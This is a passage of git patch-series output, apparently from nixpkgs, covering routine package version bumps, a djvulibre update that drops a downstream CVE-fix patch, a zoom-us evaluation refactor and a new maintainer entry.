From 652a3e1177459455d37349f78b758ea1788b078a Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Sat, 19 Jul 2025 12:33:04 +0000
Subject: [PATCH 2781/4511] apache-jena: 5.4.0 -> 5.5.0

(cherry picked from commit 7579273ff4c0cdb0085808ed355e20126f661433)
---
 pkgs/servers/nosql/apache-jena/binary.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/servers/nosql/apache-jena/binary.nix b/pkgs/servers/nosql/apache-jena/binary.nix
index a46081d3c7d5..43aa42f24dc9 100644
--- a/pkgs/servers/nosql/apache-jena/binary.nix
+++ b/pkgs/servers/nosql/apache-jena/binary.nix
@@ -8,10 +8,10 @@
 
 stdenv.mkDerivation rec {
   pname = "apache-jena";
-  version = "5.4.0";
+  version = "5.5.0";
   src = fetchurl {
     url = "mirror://apache/jena/binaries/apache-jena-${version}.tar.gz";
-    hash = "sha256-KQoBKPAetKI3ySWvsRn5yrtf5T5ldWiqKGrRDK8O/4Q=";
+    hash = "sha256-atRcW9U3PjX/E3QhTa6dBfvb19Rb3n6ROpLeGinGD1U=";
   };
   nativeBuildInputs = [
     makeWrapper

From 8e304bd757d85a883a0b0cc0c8ea6465743fd086 Mon Sep 17 00:00:00 2001
From: Sergei Trofimovich <slyich@gmail.com>
Date: Fri, 11 Jul 2025 06:37:56 +0100
Subject: [PATCH 2782/4511] djvulibre: 3.5.28 -> 3.5.29

Changes: https://sourceforge.net/p/djvu/djvulibre-git/ci/master/tree/NEWS
(cherry picked from commit 63c4be08eb289f0d1c901dc8abc22bf417176bdf)
---
 ...-32491+CVE-2021-32492+CVE-2021-32493.patch | 105 ------------------
 .../dj/djvulibre/c++17-register-class.patch   |  21 ----
 pkgs/by-name/dj/djvulibre/package.nix         |  12 +-
 3 files changed, 2 insertions(+), 136 deletions(-)
 delete mode 100644 pkgs/by-name/dj/djvulibre/CVE-2021-3500+CVE-2021-32490+CVE-2021-32491+CVE-2021-32492+CVE-2021-32493.patch
 delete mode 100644 pkgs/by-name/dj/djvulibre/c++17-register-class.patch

diff --git a/pkgs/by-name/dj/djvulibre/CVE-2021-3500+CVE-2021-32490+CVE-2021-32491+CVE-2021-32492+CVE-2021-32493.patch b/pkgs/by-name/dj/djvulibre/CVE-2021-3500+CVE-2021-32490+CVE-2021-32491+CVE-2021-32492+CVE-2021-32493.patch
deleted file mode 100644
index e305c5618d19..000000000000
--- a/pkgs/by-name/dj/djvulibre/CVE-2021-3500+CVE-2021-32490+CVE-2021-32491+CVE-2021-32492+CVE-2021-32493.patch
+++ /dev/null
@@ -1,105 +0,0 @@
-From cd8b5c97b27a5c1dc83046498b6ca49ad20aa9b6 Mon Sep 17 00:00:00 2001
-From: Leon Bottou <leon@bottou.org>
-Date: Tue, 11 May 2021 14:44:09 -0400
-Subject: [PATCH] Reviewed Fedora patches and adopted some of them (or variants
- thereof)
-
- - Patch0: djvulibre-3.5.22-cdefs.patch                  (forward ported)
-Does not make imuch sense. GSmartPointer.h already includes "stddef.h"
- - Patch6: djvulibre-3.5.27-export-file.patch              (forward ported)
-Incorrect: inkscape command is --export-png, not --export-filename.
- - Patch8: djvulibre-3.5.27-check-image-size.patch         (forward ported)
-Correct: adopted a variant of this
- - Patch9: djvulibre-3.5.27-integer-overflow.patch         (forward ported)
-Correct: adopted a variant of this
- - Patch10: djvulibre-3.5.27-check-input-pool.patch        (forward ported)
-Adopted: input validation never hurts
- - Patch11: djvulibre-3.5.27-djvuport-stack-overflow.patch (forward ported)
-Dubious: Instead I changed djvufile to prevent a file from including itself
-which is the only way I can imagine to create an file creation loop.
- - Patch12: djvulibre-3.5.27-unsigned-short-overflow.patch (forward ported)
-Adopted: but without including limits.h
----
- libdjvu/DataPool.cpp  | 3 ++-
- libdjvu/DjVuFile.cpp  | 2 ++
- libdjvu/GBitmap.cpp   | 2 ++
- libdjvu/IW44Image.cpp | 4 ++++
- tools/ddjvu.cpp       | 7 +++++--
- 5 files changed, 15 insertions(+), 3 deletions(-)
-
-diff --git a/libdjvu/DataPool.cpp b/libdjvu/DataPool.cpp
-index 5fcbedf..b58fc45 100644
---- a/libdjvu/DataPool.cpp
-+++ b/libdjvu/DataPool.cpp
-@@ -790,7 +790,8 @@ DataPool::create(const GP<DataPool> & pool, int start, int length)
- {
-   DEBUG_MSG("DataPool::DataPool: pool=" << (void *)((DataPool *)pool) << " start=" << start << " length= " << length << "\n");
-   DEBUG_MAKE_INDENT(3);
--
-+  if (!pool)
-+    G_THROW( ERR_MSG("DataPool.zero_DataPool") );
-   DataPool *xpool=new DataPool();
-   GP<DataPool> retval=xpool;
-   xpool->init();
-diff --git a/libdjvu/DjVuFile.cpp b/libdjvu/DjVuFile.cpp
-index 143346b..2587491 100644
---- a/libdjvu/DjVuFile.cpp
-+++ b/libdjvu/DjVuFile.cpp
-@@ -576,6 +576,8 @@ DjVuFile::process_incl_chunk(ByteStream & str, int file_num)
-     GURL incl_url=pcaster->id_to_url(this, incl_str);
-     if (incl_url.is_empty())	// Fallback. Should never be used.
-       incl_url=GURL::UTF8(incl_str,url.base());
-+    if (incl_url == url)        // Infinite loop avoidance
-+      G_THROW( ERR_MSG("DjVuFile.malformed") );
-     
-     // Now see if there is already a file with this *name* created
-     {
-diff --git a/libdjvu/GBitmap.cpp b/libdjvu/GBitmap.cpp
-index c2fdbe4..8ad64b2 100644
---- a/libdjvu/GBitmap.cpp
-+++ b/libdjvu/GBitmap.cpp
-@@ -1284,6 +1284,8 @@ GBitmap::decode(unsigned char *runs)
-   // initialize pixel array
-   if (nrows==0 || ncolumns==0)
-     G_THROW( ERR_MSG("GBitmap.not_init") );
-+  if (ncolumns + border != (unsigned short)(ncolumns+border))
-+    G_THROW("GBitmap: image size exceeds maximum (corrupted file?)");
-   bytes_per_row = ncolumns + border;
-   if (runs==0)
-     G_THROW( ERR_MSG("GBitmap.null_arg") );
-diff --git a/libdjvu/IW44Image.cpp b/libdjvu/IW44Image.cpp
-index e8d4b44..4a1797e 100644
---- a/libdjvu/IW44Image.cpp
-+++ b/libdjvu/IW44Image.cpp
-@@ -676,9 +676,13 @@ IW44Image::Map::image(signed char *img8, int rowsize, int pixsep, int fast)
-   // Allocate reconstruction buffer
-   short *data16;
-   size_t sz = bw * bh;
-+  if (sz == 0)
-+    G_THROW("IW44Image: image size is zero (corrupted file?)");
-   if (sz / (size_t)bw != (size_t)bh) // multiplication overflow
-     G_THROW("IW44Image: image size exceeds maximum (corrupted file?)");
-   GPBuffer<short> gdata16(data16,sz);
-+  if (data16 == 0)
-+    G_THROW("IW44Image: unable to allocate image buffer");
-   // Copy coefficients
-   int i;
-   short *p = data16;
-diff --git a/tools/ddjvu.cpp b/tools/ddjvu.cpp
-index 7109952..e7b489b 100644
---- a/tools/ddjvu.cpp
-+++ b/tools/ddjvu.cpp
-@@ -393,8 +393,11 @@ render(ddjvu_page_t *page, int pageno)
-   } else if (style == DDJVU_FORMAT_GREY8)
-     rowsize = rrect.w;
-   else
--    rowsize = rrect.w * 3; 
--  if (! (image = (char*)malloc(rowsize * rrect.h)))
-+    rowsize = rrect.w * 3;
-+  size_t bufsize = (size_t)rowsize * rrect.h;
-+  if (bufsize / rowsize != rrect.h)
-+    die(i18n("Integer overflow when allocating image buffer for page %d"), pageno);
-+  if (! (image = (char*)malloc(bufsize)))
-     die(i18n("Cannot allocate image buffer for page %d"), pageno);
- 
-   /* Render */
\ No newline at end of file
diff --git a/pkgs/by-name/dj/djvulibre/c++17-register-class.patch b/pkgs/by-name/dj/djvulibre/c++17-register-class.patch
deleted file mode 100644
index 88251b34f773..000000000000
--- a/pkgs/by-name/dj/djvulibre/c++17-register-class.patch
+++ /dev/null
@@ -1,21 +0,0 @@
-diff -ur a/libdjvu/GBitmap.h b/libdjvu/GBitmap.h
---- a/libdjvu/GBitmap.h	2020-11-20 09:57:32.000000000 -0700
-+++ b/libdjvu/GBitmap.h	2023-07-07 07:07:45.519912414 -0600
-@@ -620,7 +620,7 @@
- inline int
- GBitmap::read_run(unsigned char *&data)
- {
--  register int z=*data++;
-+  int z=*data++;
-   return (z>=RUNOVERFLOWVALUE)?
-     ((z&~RUNOVERFLOWVALUE)<<8)|(*data++):z;
- }
-@@ -628,7 +628,7 @@
- inline int
- GBitmap::read_run(const unsigned char *&data)
- {
--  register int z=*data++;
-+  int z=*data++;
-   return (z>=RUNOVERFLOWVALUE)?
-     ((z&~RUNOVERFLOWVALUE)<<8)|(*data++):z;
- }
diff --git a/pkgs/by-name/dj/djvulibre/package.nix b/pkgs/by-name/dj/djvulibre/package.nix
index ba1b0361f53f..ecf5185939dc 100644
--- a/pkgs/by-name/dj/djvulibre/package.nix
+++ b/pkgs/by-name/dj/djvulibre/package.nix
@@ -11,11 +11,11 @@
 
 stdenv.mkDerivation rec {
   pname = "djvulibre";
-  version = "3.5.28";
+  version = "3.5.29";
 
   src = fetchurl {
     url = "mirror://sourceforge/djvu/${pname}-${version}.tar.gz";
-    sha256 = "1p1fiygq9ny8aimwc4vxwjc6k9ykgdsq1sq06slfbzalfvm0kl7w";
+    hash = "sha256-07SwOuK9yoUWo2726ye3d/BSjJ7aJnRdmWKCSj/f7M8=";
   };
 
   outputs = [
@@ -40,14 +40,6 @@ stdenv.mkDerivation rec {
 
   enableParallelBuilding = true;
 
-  patches = [
-    # Remove uses of the `register` storage class specifier, which was removed in C++17.
-    # Fixes compilation with clang 16, which defaults to C++17.
-    ./c++17-register-class.patch
-
-    ./CVE-2021-3500+CVE-2021-32490+CVE-2021-32491+CVE-2021-32492+CVE-2021-32493.patch
-  ];
-
   meta = with lib; {
     description = "Big set of CLI tools to make/modify/optimize/show/export DJVU files";
     homepage = "https://djvu.sourceforge.net";

From 1e1e944f51b34714b02fbec96a9dc88ca8fac116 Mon Sep 17 00:00:00 2001
From: Illia Bobyr <illia.bobyr@gmail.com>
Date: Mon, 4 Mar 2024 23:15:44 -0800
Subject: [PATCH 2783/4511] zoom-us: construct derivation on unsupported
 systems

It seems to be better to construct the derivation even on unsupported systems.
For example, OfBorg and nixpkgs CI automation are confused when a package derivation can not be queried for the package `name`.

`mkDerivation` will show an appropriate error message if it is evaluated on an unsupported platform.
The list of supported platforms is already specified in `meta.platforms`, which provides an excellent error message.

Co-authored-by: Philip Taron <philip.taron@gmail.com>
(cherry picked from commit 4dc2cc7805f1eb5db8b00696a9c9b09d047da1ec)
---
 pkgs/by-name/zo/zoom-us/package.nix | 53 ++++++++++++++---------------
 1 file changed, 25 insertions(+), 28 deletions(-)

diff --git a/pkgs/by-name/zo/zoom-us/package.nix b/pkgs/by-name/zo/zoom-us/package.nix
index a3b6df3faa43..888531b32e53 100644
--- a/pkgs/by-name/zo/zoom-us/package.nix
+++ b/pkgs/by-name/zo/zoom-us/package.nix
@@ -50,18 +50,18 @@
   # This list can be overridden to add in extra packages
   # that are independent of the underlying package attrset
   targetPkgsFixed ? [ ],
-
 }:
 
 let
   inherit (stdenv.hostPlatform) system;
 
-  # Zoom versions are released at different times for each platform
-  # and often with different versions. We write them on three lines
-  # like this (rather than using {}) so that the updater script can
+  # Zoom versions are released at different times per platform and often with different versions.
+  # We write them on three lines like this (rather than using {}) so that the updater script can
   # find where to edit them.
   versions.aarch64-darwin = "6.5.7.60598";
   versions.x86_64-darwin = "6.5.7.60598";
+
+  # This is the fallback version so that evaluation can produce a meaningful result.
   versions.x86_64-linux = "6.5.7.3298";
 
   srcs = {
@@ -82,9 +82,9 @@ let
 
   unpacked = stdenv.mkDerivation {
     pname = "zoom";
-    version = versions.${system} or "";
+    version = versions.${system} or versions.x86_64-linux;
 
-    src = srcs.${system};
+    src = srcs.${system} or srcs.x86_64-linux;
 
     dontUnpack = stdenv.hostPlatform.isLinux;
     unpackPhase = lib.optionalString stdenv.hostPlatform.isDarwin ''
@@ -112,26 +112,26 @@ let
       cpio
     ];
 
-    installPhase = ''
-      runHook preInstall
-      ${
-        rec {
-          aarch64-darwin = ''
+    installPhase =
+      ''
+        runHook preInstall
+      ''
+      + (
+        if stdenv.hostPlatform.isDarwin then
+          ''
             mkdir -p $out/Applications
             cp -R zoom.us.app $out/Applications/
-          '';
-          # darwin steps same on both architectures
-          x86_64-darwin = aarch64-darwin;
-          x86_64-linux = ''
+          ''
+        else
+          ''
             mkdir $out
             tar -C $out -xf $src
             mv $out/usr/* $out/
-          '';
-        }
-        .${system}
-      }
-      runHook postInstall
-    '';
+          ''
+      )
+      + ''
+        runHook postInstall
+      '';
 
     postFixup = lib.optionalString stdenv.hostPlatform.isDarwin ''
       makeWrapper $out/Applications/zoom.us.app/Contents/MacOS/zoom.us $out/bin/zoom
@@ -238,13 +238,10 @@ in
 if !stdenv.hostPlatform.isLinux then
   unpacked
 else
-  # We add the `unpacked` zoom archive to the FHS env
-  # and also bind-mount its `/opt` directory.
-  # This should assist Zoom in finding all its
-  # files in the places where it expects them to be.
+  # We add the `unpacked` zoom archive to the FHS env and also bind-mount its `/opt` directory.
+  # This should assist Zoom in finding all its files in the places where it expects them to be.
   buildFHSEnv {
-    pname = "zoom"; # Will also be the program's name!
-    version = versions.${system} or "";
+    inherit (unpacked) pname version;
 
     targetPkgs = pkgs: (linuxGetDependencies pkgs) ++ [ unpacked ];
     extraBwrapArgs = [ "--ro-bind ${unpacked}/opt /opt" ];
@@ -256,7 +253,7 @@ else
           $out/share/applications/Zoom.desktop \
           --replace-fail Exec={/usr/bin/,}zoom
 
-      # Backwards compatibility: we used to call it zoom-us
+      # Backwards compatibility: we also call it zoom-us
       ln -s $out/bin/{zoom,zoom-us}
     '';
 

From ea8bdcc95f496a3e5f1103b453ee868e516fa6e5 Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Thu, 19 Jun 2025 02:31:10 +0000
Subject: [PATCH 2784/4511] bind: 9.20.9 -> 9.20.10

(cherry picked from commit f95180fc05509cf7c2ea180a4836c98cb28f886d)
---
 pkgs/by-name/bi/bind/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/bi/bind/package.nix b/pkgs/by-name/bi/bind/package.nix
index f969a14feaef..eeed6051f4cb 100644
--- a/pkgs/by-name/bi/bind/package.nix
+++ b/pkgs/by-name/bi/bind/package.nix
@@ -27,11 +27,11 @@
 
 stdenv.mkDerivation (finalAttrs: {
   pname = "bind";
-  version = "9.20.9";
+  version = "9.20.10";
 
   src = fetchurl {
-    url = "https://downloads.isc.org/isc/bind9/${finalAttrs.version}/${finalAttrs.pname}-${finalAttrs.version}.tar.xz";
-    hash = "sha256-PSaQDtnJqFkHP/6puX4pLBJI2tGCebF7BfyyPDCR+G0=";
+    url = "https://downloads.isc.org/isc/bind9/${finalAttrs.version}/bind-${finalAttrs.version}.tar.xz";
+    hash = "sha256-D7O6LDN7tIjKaPXfKWxDXNJVBY+2PQgi6R2wI1yQVxY=";
   };
 
   outputs = [

From 58fdb09505d5464c0333d5c66d17d5da8eec345f Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Wed, 16 Jul 2025 18:52:57 +0000
Subject: [PATCH 2785/4511] bind: 9.20.10 -> 9.20.11

(cherry picked from commit 931a28c229aae432b26c3b5fe06c763ba1d8d8c3)
---
 pkgs/by-name/bi/bind/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/bi/bind/package.nix b/pkgs/by-name/bi/bind/package.nix
index eeed6051f4cb..d2caaadd4999 100644
--- a/pkgs/by-name/bi/bind/package.nix
+++ b/pkgs/by-name/bi/bind/package.nix
@@ -27,11 +27,11 @@
 
 stdenv.mkDerivation (finalAttrs: {
   pname = "bind";
-  version = "9.20.10";
+  version = "9.20.11";
 
   src = fetchurl {
     url = "https://downloads.isc.org/isc/bind9/${finalAttrs.version}/bind-${finalAttrs.version}.tar.xz";
-    hash = "sha256-D7O6LDN7tIjKaPXfKWxDXNJVBY+2PQgi6R2wI1yQVxY=";
+    hash = "sha256-TaLVMuZovCHog/bm2dPYF5TZ7GCxgVMDhWSaVvRu4Xo=";
   };
 
   outputs = [

From 57d161af9897e678d370e3d3a1bcea7c49422337 Mon Sep 17 00:00:00 2001
From: Defelo <mail@defelo.de>
Date: Mon, 21 Jul 2025 12:16:08 +0000
Subject: [PATCH 2786/4511] chhoto-url: 6.2.8 -> 6.2.10

Changelog: https://github.com/SinTan1729/chhoto-url/releases/tag/6.2.10
Diff: https://github.com/SinTan1729/chhoto-url/compare/6.2.8...6.2.10
(cherry picked from commit 4dee755166eb36889356f1661a599ad0b1a71f61)
---
 pkgs/by-name/ch/chhoto-url/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/ch/chhoto-url/package.nix b/pkgs/by-name/ch/chhoto-url/package.nix
index 8622efa24fd0..57e4874fd2b3 100644
--- a/pkgs/by-name/ch/chhoto-url/package.nix
+++ b/pkgs/by-name/ch/chhoto-url/package.nix
@@ -8,13 +8,13 @@
 
 rustPlatform.buildRustPackage (finalAttrs: {
   pname = "chhoto-url";
-  version = "6.2.8";
+  version = "6.2.10";
 
   src = fetchFromGitHub {
     owner = "SinTan1729";
     repo = "chhoto-url";
     tag = finalAttrs.version;
-    hash = "sha256-aWiLfhNbtjsM7fEqoNIKsU12/3b8ORTpZ/4jyqSLmdM=";
+    hash = "sha256-56tbSOoYRtmRzKqRDe951JXOlPymRGtEyGSZ0dWXOcw=";
   };
 
   sourceRoot = "${finalAttrs.src.name}/actix";
@@ -24,7 +24,7 @@ rustPlatform.buildRustPackage (finalAttrs: {
       --replace-fail "./resources/" "${placeholder "out"}/share/chhoto-url/resources/"
   '';
 
-  cargoHash = "sha256-rKNGUl1TI21SOBwTuv/TGl46S8FVjCWunJwP5PLdx6g=";
+  cargoHash = "sha256-z5BFo6X3Lpb/PJPMQ+3m1RozvXeHLaY81PABAE7gTTA=";
 
   postInstall = ''
     mkdir -p $out/share/chhoto-url

From d5f4b1ab9322071ca17a6e4aa735e9187d85e757 Mon Sep 17 00:00:00 2001
From: Gaetan Lepage <gaetan@glepage.com>
Date: Tue, 22 Jul 2025 18:59:46 +0200
Subject: [PATCH 2787/4511] dolibarr: 21.0.1 -> 21.0.2

Diff: https://github.com/Dolibarr/dolibarr/compare/refs/tags/21.0.1...refs/tags/21.0.2

Changelog: https://github.com/Dolibarr/dolibarr/releases/tag/21.0.2
(cherry picked from commit 66b18a6d05217a7d353daa24109bba66396d27d1)
---
 pkgs/by-name/do/dolibarr/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/do/dolibarr/package.nix b/pkgs/by-name/do/dolibarr/package.nix
index 8c0ac47b5ff1..5ba589efeb2c 100644
--- a/pkgs/by-name/do/dolibarr/package.nix
+++ b/pkgs/by-name/do/dolibarr/package.nix
@@ -8,13 +8,13 @@
 
 stdenv.mkDerivation (finalAttrs: {
   pname = "dolibarr";
-  version = "21.0.1";
+  version = "21.0.2";
 
   src = fetchFromGitHub {
     owner = "Dolibarr";
     repo = "dolibarr";
     tag = finalAttrs.version;
-    hash = "sha256-aOFqfXsT1kmQwIB8clLMQaMeZtsyIYCxCGqaGCjlBRY=";
+    hash = "sha256-H1p20dDe7YDFFk0hwyNvJ7LG9/3FF7JPo322Cgb0gYo=";
   };
 
   dontBuild = true;

From 91a4b8c87665f81b9f850325464724336d381eee Mon Sep 17 00:00:00 2001
From: Martin Weinelt <hexa@darmstadt.ccc.de>
Date: Wed, 23 Jul 2025 00:32:31 +0200
Subject: [PATCH 2788/4511] python314: 3.14.0b4 -> 3.14.0rc1

https://docs.python.org/3.14/whatsnew/changelog.html#python-3-14-0rc1
(cherry picked from commit 71a749810c467fa124574e33c3229d09a5614a04)
---
 pkgs/development/interpreters/python/default.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/development/interpreters/python/default.nix b/pkgs/development/interpreters/python/default.nix
index 94f4a7164614..181a3affbd20 100644
--- a/pkgs/development/interpreters/python/default.nix
+++ b/pkgs/development/interpreters/python/default.nix
@@ -93,9 +93,9 @@
         major = "3";
         minor = "14";
         patch = "0";
-        suffix = "b4";
+        suffix = "rc1";
       };
-      hash = "sha256-FeEj4Far67pt5ec8+jBEWajILK+oXU/H/G3oDmo+Gzk=";
+      hash = "sha256-hwd4CunxnFv1ufJ4JxgboRza17spLqScrVQkMx5A7os=";
       inherit passthruFun;
     };
     # Minimal versions of Python (built without optional dependencies)

From 70a619a68843b4e726ff40719657d2b00b68a81c Mon Sep 17 00:00:00 2001
From: emilylange <git@emilylange.de>
Date: Tue, 22 Jul 2025 23:03:52 +0200
Subject: [PATCH 2789/4511] chromium,chromedriver: 138.0.7204.157 ->
 138.0.7204.168

https://chromereleases.googleblog.com/2025/07/stable-channel-update-for-desktop_22.html

This update includes 3 security fixes.

CVEs:
CVE-2025-8010 CVE-2025-8011

(cherry picked from commit 9f39891cbfbc96edc6134f3207ed48a3199387ea)
---
 .../networking/browsers/chromium/info.json    | 20 +++++++++----------
 1 file changed, 10 insertions(+), 10 deletions(-)

diff --git a/pkgs/applications/networking/browsers/chromium/info.json b/pkgs/applications/networking/browsers/chromium/info.json
index 59fe35b85cea..a41fc3d01dd6 100644
--- a/pkgs/applications/networking/browsers/chromium/info.json
+++ b/pkgs/applications/networking/browsers/chromium/info.json
@@ -1,10 +1,10 @@
 {
   "chromium": {
-    "version": "138.0.7204.157",
+    "version": "138.0.7204.168",
     "chromedriver": {
-      "version": "138.0.7204.158",
-      "hash_darwin": "sha256-rNd7glDAVNkd4CNn4k3rdpb//yD/ccpebnGhDv1EGb8=",
-      "hash_darwin_aarch64": "sha256-oUMFW09mp2aUgplboMHaKvTVbKtqAy5C0KsA7DXbElc="
+      "version": "138.0.7204.169",
+      "hash_darwin": "sha256-I87LWl+F8nmxpIUXUT+InLFf2nZ1Sh1nAtYVLCq9r5M=",
+      "hash_darwin_aarch64": "sha256-6DoMi5gy68tuauNGvFl0QKPZnh5lY9S73+S+FNltDow="
     },
     "deps": {
       "depot_tools": {
@@ -20,8 +20,8 @@
     "DEPS": {
       "src": {
         "url": "https://chromium.googlesource.com/chromium/src.git",
-        "rev": "e533e98b1267baa1f1c46d666b120e64e5146aa9",
-        "hash": "sha256-LbZ8/6Lvz1p3ydRL4fXtd7RL426PU3jU01Hx+DP5QYQ=",
+        "rev": "3e8d82e86e9f508e88ed406c2a24657a6c691d30",
+        "hash": "sha256-6s9mkfckhibpb+L74oPZsgvOZZT58BeSo362t/s92UI=",
         "recompress": true
       },
       "src/third_party/clang-format/script": {
@@ -246,8 +246,8 @@
       },
       "src/third_party/devtools-frontend/src": {
         "url": "https://chromium.googlesource.com/devtools/devtools-frontend",
-        "rev": "4cca0aa00c4915947f1081014d5cfa2e83d357fa",
-        "hash": "sha256-pVNr8NB5U/Uf688oOvPLpu81isCn/WmjJky01A000a4="
+        "rev": "a718e86b3dc6f1ba3c8cc8092cd79b401d428cfc",
+        "hash": "sha256-50KQk54JwwRS3ENUjB0QedQYFuwmkv9oxytfuNDTVPo="
       },
       "src/third_party/dom_distiller_js/dist": {
         "url": "https://chromium.googlesource.com/chromium/dom-distiller/dist.git",
@@ -796,8 +796,8 @@
       },
       "src/v8": {
         "url": "https://chromium.googlesource.com/v8/v8.git",
-        "rev": "de9d0f8b56ae61896e4d2ac577fc589efb14f87d",
-        "hash": "sha256-/T5fisjmN80bs3PtQrCRfH3Bo9dRSd3f+xpPLDh1RTY="
+        "rev": "f5036f509b5e147cccb298a069c40827f3d5edd6",
+        "hash": "sha256-n4/Lf5ZawqUY0QHF2jYl3JPPx9Br/wzVmtqnMvq3Vzk="
       }
     }
   },

From 6f091bdf562010e415b655d9c9a2411b4875636c Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Tue, 22 Jul 2025 18:08:13 +0000
Subject: [PATCH 2790/4511] firefly-iii-data-importer: 1.7.6 -> 1.7.8

(cherry picked from commit 1262c7748abf6f741ccbb5475a1e702b0d9b73b2)
---
 pkgs/by-name/fi/firefly-iii-data-importer/package.nix | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/pkgs/by-name/fi/firefly-iii-data-importer/package.nix b/pkgs/by-name/fi/firefly-iii-data-importer/package.nix
index 3be092be7ca3..8a28ecfd5a0d 100644
--- a/pkgs/by-name/fi/firefly-iii-data-importer/package.nix
+++ b/pkgs/by-name/fi/firefly-iii-data-importer/package.nix
@@ -13,13 +13,13 @@
 
 stdenvNoCC.mkDerivation (finalAttrs: {
   pname = "firefly-iii-data-importer";
-  version = "1.7.6";
+  version = "1.7.8";
 
   src = fetchFromGitHub {
     owner = "firefly-iii";
     repo = "data-importer";
     tag = "v${finalAttrs.version}";
-    hash = "sha256-2QjflXnusdqg63S1RgSbDsYHk9U4Xjf59wkvvo9n+Zo=";
+    hash = "sha256-ZsrzB9jO9huMb7N6J+LPAKOGisIjuXaXAGhyewWC+cA=";
   };
 
   buildInputs = [ php84 ];
@@ -38,12 +38,12 @@ stdenvNoCC.mkDerivation (finalAttrs: {
   composerStrictValidation = true;
   strictDeps = true;
 
-  vendorHash = "sha256-j0KjjmaDyFBFWnz6e4Bkrb3gkitfSKsj9UB2j/G19do=";
+  vendorHash = "sha256-mgliWS/PrGGGc0we8/TH/7xitbXtZFCrFBF+ElNYXBA=";
 
   npmDeps = fetchNpmDeps {
     inherit (finalAttrs) src;
     name = "${finalAttrs.pname}-npm-deps";
-    hash = "sha256-4bDSEGg5vGoam1PLRfaxJK0aQ+MLBTF+GP0AZQjHvVw=";
+    hash = "sha256-28Y8fM88Z83VVZMm3ZanP9CskUWCE3043lgoP7WhW/I=";
   };
 
   composerRepository = php84.mkComposerRepository {

From ef440a1446d46cae66364a026ca2b0c147d1f830 Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Fri, 30 May 2025 16:42:50 +0000
Subject: [PATCH 2791/4511] p2pool: 4.4 -> 4.7

(cherry picked from commit c27be1dce072429cbd5160293de66738a818d2c9)
---
 pkgs/by-name/p2/p2pool/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/p2/p2pool/package.nix b/pkgs/by-name/p2/p2pool/package.nix
index d004151ec79c..23e76b810f0f 100644
--- a/pkgs/by-name/p2/p2pool/package.nix
+++ b/pkgs/by-name/p2/p2pool/package.nix
@@ -16,13 +16,13 @@
 
 stdenv.mkDerivation rec {
   pname = "p2pool";
-  version = "4.4";
+  version = "4.7";
 
   src = fetchFromGitHub {
     owner = "SChernykh";
     repo = "p2pool";
     rev = "v${version}";
-    hash = "sha256-+wkcTkHhGNanCznL5d9yUezi9wLIchxt6TPPpEUqgN8=";
+    hash = "sha256-F8kgoGgnFk6vE1nNnV6TShwnEAnqxD1wbsCAnL7mHRM=";
     fetchSubmodules = true;
   };
 

From 1fd2324533e0f4b36887de304411a6c1a821e4b2 Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Fri, 20 Jun 2025 12:28:51 +0000
Subject: [PATCH 2792/4511] p2pool: 4.7 -> 4.8

(cherry picked from commit 7c7cd4da982d846de63284efb102fd0ae4127c18)
---
 pkgs/by-name/p2/p2pool/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/p2/p2pool/package.nix b/pkgs/by-name/p2/p2pool/package.nix
index 23e76b810f0f..a10acdf65546 100644
--- a/pkgs/by-name/p2/p2pool/package.nix
+++ b/pkgs/by-name/p2/p2pool/package.nix
@@ -16,13 +16,13 @@
 
 stdenv.mkDerivation rec {
   pname = "p2pool";
-  version = "4.7";
+  version = "4.8";
 
   src = fetchFromGitHub {
     owner = "SChernykh";
     repo = "p2pool";
     rev = "v${version}";
-    hash = "sha256-F8kgoGgnFk6vE1nNnV6TShwnEAnqxD1wbsCAnL7mHRM=";
+    hash = "sha256-D1yQMcgRYVZf3/VGCmp6ZGu5YlWUmvlCx3pZqQF7JDM=";
     fetchSubmodules = true;
   };
 

From 84c387bdc7613865f20fbffa80f8768ae4bfe4a2 Mon Sep 17 00:00:00 2001
From: Jaco Malan <jacomalan.12@gmail.com>
Date: Thu, 3 Jul 2025 15:24:12 +0200
Subject: [PATCH 2793/4511] maintainers: add JacoMalan1

(cherry picked from commit 999af6fa0d0e5d59b501313a3b55f5fe5c3901d6)
---
 maintainers/maintainer-list.nix | 7 +++++++
 1 file changed, 7 insertions(+)

diff --git a/maintainers/maintainer-list.nix b/maintainers/maintainer-list.nix
index 1e17a6be626e..023515028f72 100644
--- a/maintainers/maintainer-list.nix
+++ b/maintainers/maintainer-list.nix
@@ -11014,6 +11014,13 @@
     githubId = 45084216;
     keys = [ { fingerprint = "1BF9 8D10 E0D0 0B41 5723  5836 4C13 3A84 E646 9228"; } ];
   };
+  JacoMalan1 = {
+    name = "Jaco Malan";
+    email = "jacom@codelog.co.za";
+    github = "JacoMalan1";
+    githubId = 10290409;
+    keys = [ { fingerprint = "339C 9213 7F2D 5D6E 2B6A  6E98 240B B4C4 27BC 327A"; } ];
+  };
   jaculabilis = {
     name = "Tim Van Baak";
     email = "tim.vanbaak@gmail.com";

From 9928b0b8d2f7f458980f562decfc6c5ac3a49d83 Mon Sep 17 00:00:00 2001
From: Jaco Malan <jacomalan.12@gmail.com>
Date: Thu, 17 Jul 2025 15:07:29 +0200
Subject: [PATCH 2794/4511] p2pool: 4.8 -> 4.8.1

